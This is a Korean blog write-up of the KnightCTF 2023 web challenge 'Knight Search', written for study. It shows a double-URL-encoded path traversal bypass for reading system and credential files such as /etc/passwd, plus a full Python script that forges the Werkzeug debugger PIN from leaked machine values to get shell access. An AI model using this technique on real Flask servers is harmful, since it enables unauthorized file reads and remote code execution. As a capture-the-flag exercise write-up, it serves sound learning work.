본문 바로가기

웹해킹/CTF

KnightCTF 2023 Web - Knight Search Writeup

반응형

KnightCTF 2023 Web - Knight Search Writeup

공부 목적으로 작성된 글입니다.

문제 서버가 금방 닫혀서 복습을 못했다.

 

 

 

필자는 Flask 기반 웹서버이고 SSTI를 시도했더니 debug 페이지가 나왔다. 그래서 PIN-CODE 맞추는 문제라는 것을 확신했다. 예전 대회에서 풀어본 기억이 있어서 시도하다가 LFI를 시도하던 중 필터링이 걸려서 못 풀었다.

 


 

라이트업을 확인해 보니 LFI 방지를 위해 ../ 가 필터링을 이중 URL 인코딩을 통해 %252E%252E%252F  로 우회했다.

PIN CODE는 MAC 주소와  머신 ID가 있으면 생성할 수 있다.

 

MAC주소가 있는 절대주소는  /sys/class/net/eth0/address   

: 02:42:ac:11:00:03

 

 

 

 

 

https://www.vultr.com/resources/mac-converter/

맥주소를 쓸 땐 int로 바꿔줘야해서 MAC Address Converter를 사용했다. 

: 2485377892355

 

 


 

머신 ID는 /etc/machine-id 또는 /proc/sys/kernel/random/boot_id 과 /proc/self/cgroup 값을  합치면된다.

/etc/machine-id/proc/self/cgroup

: e01d426f-826c-4736-9cd2-a96608b66fd8

 

 


 

또 사용자 이름을 etc/passwd에서 구할 수 있었다.

yooboi

 

구한 값을 /usr/local/lib/python3.9/site-packages/werkzeug/debug/__init__.py 에서 PIN-CODE 생성 부분만 가져와서 넣어준다.

import hashlib
from itertools import chain


probably_public_bits = [
       'yooboi', #username,
       'flask.app' #modname,
       'Flask', #getattr(app, "__name__", app.__class__.__name__),
       '/usr/local/lib/python3.9/site-packages/flask/app.py' #getattr(mod, "__file__", None),
   ]
   # This information is here to make it harder for an attacker to
   # guess the cookie name.  They are unlikely to be contained anywhere
   # within the unauthenticated debug page.
   
private_bits = [
    '2485377892355', # str(uuid.getnode()), 
    'e01d426f-826c-4736-9cd2-a96608b66fd8' # get_machine_id()
    ]

h = hashlib.sha1()    #hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str): #(bit, text_type)
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")
cookie_name = "__wzd" + h.hexdigest()[:20]
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits

num = None
if num is None:
    h.update(b"pinsalt")
    num = ("%09d" % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

 

import subprocess
subprocess.Popen('ls -alh',shell=True,stdout=-1).communicate()

이 과정을 통해 PIN-CODE가 생성되었으면 debug 페이지에서 PIN-CODE 넣고 shell 실행시킨 후 ssti 공격하듯이 paylaod를 집어넣으면 된다.

728x90